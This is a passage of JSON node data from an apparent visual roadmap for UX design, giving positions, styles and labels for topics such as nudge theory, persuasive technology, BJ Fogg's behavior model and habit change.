\"tcn_QdJHQlpG1t6udFNXq\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 28.305412875927175,\n        \"y\": 1570.9741748535075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"Xm5ZZDvriOWFWXBtd2TeM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 28.305412875927175,\n        \"y\": 1570.9741748535075\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"fzq6qo5CG6CkIgI7Y7bMn\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 28.305412875927175,\n        \"y\": 1084.4298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"UVjYjf0frEacBLo-gegK-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 28.305412875927175,\n        \"y\": 1084.4298705260153\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"3oo6PeHghXixNr2a4FWvt\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 379.0510840420194,\n        \"y\": 1048.9298705260153\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 265,\n      \"height\": 418,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 418\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 379.0510840420194,\n        \"y\": 1048.9298705260153\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 418\n      }\n    },\n    {\n      \"id\": \"WQntKm1lyBLwvDdYXG5AJ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -383.9489159579806,\n        \"y\": 537.4027519463209\n      },\n      \"width\": 367,\n      \"height\": 461,\n      \"style\": {\n        \"width\": 367,\n        \"height\": 461\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -383.9489159579806,\n        \"y\": 537.4027519463209\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 367,\n        \"height\": 461\n      }\n    },\n    {\n      \"id\": \"YvybHSbUUnnhcpSvBWkZh\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 82.30541287592717,\n        \"y\": 0.5169994754369327\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UX Design\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 82.30541287592717,\n        \"y\": 0.5169994754369327\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"Zh6GbYp2r7nctlaO_gnGk\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 158.80541287592717,\n        \"y\": -113.31976397787162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 99,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 99\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 158.80541287592717,\n        \"y\": -113.31976397787162\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 99\n      }\n    },\n    {\n      \"id\": \"liUKYf7UghuPk25xMPPYj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 38.305412875927175,\n        \"y\": 190.60681367650216\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Human Decision Making\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GgBazWfF2OvOqkuo3DO2L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.305412875927175,\n        \"y\": 190.60681367650216\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DsvCptlLWLq7-VvVhRXsy\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 457.0066517763971,\n        \"y\": 54.85318500308563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Buzzwords to lookout for\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 457.0066517763971,\n        \"y\": 54.85318500308563\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"6ffY5wO-XhkiDJJ5YcI0x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 448.5066517763971,\n        \"y\": 90.85318500308563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Nudge Theory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 448.5066517763971,\n        \"y\": 90.85318500308563\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K22gvF9DLt0Ikc80yZLCb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 448.5066517763971,\n        \"y\": 143.8531850030856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Persuasive Technology\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 448.5066517763971,\n        \"y\": 143.8531850030856\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zYCBEUqZVlvjlAKnh5cPQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 448.5066517763971,\n        \"y\": 302.85318500308557\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Behavior Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 448.5066517763971,\n        \"y\": 302.85318500308557\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D553-nVELaB5gdxtoKSVc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 448.5066517763971,\n        \"y\": 196.8531850030856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Behavioral Science\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 448.5066517763971,\n        \"y\": 196.8531850030856\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_lv6GJ0wlMfhJ7PHRGQ_V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 448.5066517763971,\n        \"y\": 249.8531850030856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Behavioral Economics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 448.5066517763971,\n        \"y\": 249.8531850030856\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V5u2kv7Io7825rn1_zKJD\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -288.289926549572,\n        \"y\": 72.04939959827789\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 36\n      },\n      \"positionAbsolute\": {\n        \"x\": -288.289926549572,\n        \"y\": 72.04939959827789\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"2NlgbLeLBYwZX2u2rKkIO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -381.789926549572,\n        \"y\": 112.82719095483185\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BJ Fogg's Behavior Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -381.789926549572,\n        \"y\": 112.82719095483185\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kcG4IpneJzA6di0uqTiwb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -381.789926549572,\n        \"y\": 165.82719095483185\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CREATE Action Funnel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -381.789926549572,\n        \"y\": 165.82719095483185\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0Df110GZcDw5wbAe1eKoA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -381.789926549572,\n        \"y\": 218.82719095483185\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spectrum of Thinking Interventions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -381.789926549572,\n        \"y\": 218.82719095483185\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kWA8CvocP1pkom2N7O4gb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -381.789926549572,\n        \"y\": 271.82719095483185\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dual Process Theory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -381.789926549572,\n        \"y\": 271.82719095483185\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lRBC8VYJPsR65LHDuuIsL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -290.21566738325384,\n        \"y\": 400.8462912210996\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BJ Fogg's Behavior Grid\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -290.21566738325384,\n        \"y\": 400.8462912210996\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PLLTcrHkhd1KYaMSRKALp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.9489159579806,\n        \"y\": 887.9027519463207\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Nir Eyal's Hook Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 350,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 350,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.9489159579806,\n        \"y\": 887.9027519463207\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 350,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X1AroUI8Fge_lRpKab4A9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.9489159579806,\n        \"y\": 940.9027519463208\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cue Routine Reward Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 350,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 350,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -375.9489159579806,\n        \"y\": 940.9027519463208\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 350,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PTZROvpPtEvu06szwmt4K\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 46.805412875927175,\n        \"y\": 638.1061340881306\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Support Conscious Action\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 46.805412875927175,\n        \"y\": 638.1061340881306\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SLXjoYL-lhPef8s9V3jpf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 15.305412875927175,\n        \"y\": 728.2635268798921\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Educate & Encourage User\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 15.305412875927175,\n        \"y\": 728.2635268798921\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e9n9an1PGxDPGkLCOHIwz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 15.305412875927175,\n        \"y\": 781.2635268798921\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Help User think about their Action\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 15.305412875927175,\n        \"y\": 781.2635268798921\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zVXJPpqZvUFIxTGVrr0rN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 46.805412875927175,\n        \"y\": 532.1061340881306\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cheating\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 46.805412875927175,\n        \"y\": 532.1061340881306\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IpKCXqf_PkxIllwmiIZsq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 364.8773977705443,\n        \"y\": 478.07175044502765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Defaulting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.8773977705443,\n        \"y\": 478.07175044502765\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ix5Fll_dAINWLxVF2DXFI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 364.8773977705443,\n        \"y\": 531.0717504450278\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Making it Incidental\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.8773977705443,\n        \"y\": 531.0717504450278\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZufrLRNkMoJ4e2T-vWxCR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 364.8773977705443,\n        \"y\": 584.0717504450278\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Automate the Act of Repetition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.8773977705443,\n        \"y\": 584.0717504450278\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y6CqgqTvOt-LrvTnPJkQQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 46.805412875927175,\n        \"y\": 585.1061340881306\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make or Change Habits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 46.805412875927175,\n        \"y\": 585.1061340881306\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TG0y546UrqLyWXGTjDYBb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -266.44891595798083,\n        \"y\": 847.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"New Behavior\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"-61prALJPwj43JtUcO5le\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -266.44891595798083,\n        \"y\": 847.9027519463209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"-61prALJPwj43JtUcO5le\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -275.94891595798083,\n        \"y\": 545.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Existing Behavior\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -275.94891595798083,\n        \"y\": 545.9027519463209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"S2TgqNDjvmcJTaXncM09u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.9489159579806,\n        \"y\": 581.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Help user Avoiding the Cue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 350,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 350,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.9489159579806,\n        \"y\": 581.9027519463209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 350,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_C-55tciBzc6_Kyk6272k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.9489159579806,\n        \"y\": 634.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Replace the Routine\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 350,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 350,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.9489159579806,\n        \"y\": 634.9027519463209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 350,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0MbrHG-VDrdZqQ0jWtiDo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.9489159579806,\n        \"y\": 687.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Use Consciousness to Interfere\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 350,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 350,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.9489159579806,\n        \"y\": 687.9027519463209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 350,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d1dXGCHmMF2EFpL5yKVJA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.9489159579806,\n        \"y\": 740.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mindfulness to Avoid Acting on the Cue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 350,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 350,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.9489159579806,\n        \"y\": 740.9027519463209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 350,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B0gg7Z5JL9m9Srb89KcN5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -375.9489159579806,\n        \"y\": 793.9027519463209\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Crowd Out Old Habit with New Behavior\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 350,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 350,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -375.9489159579806,\n        \"y\": 793.9027519463209\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 350,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 316.94680530818437,\n        \"y\": -124.22219261572492\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          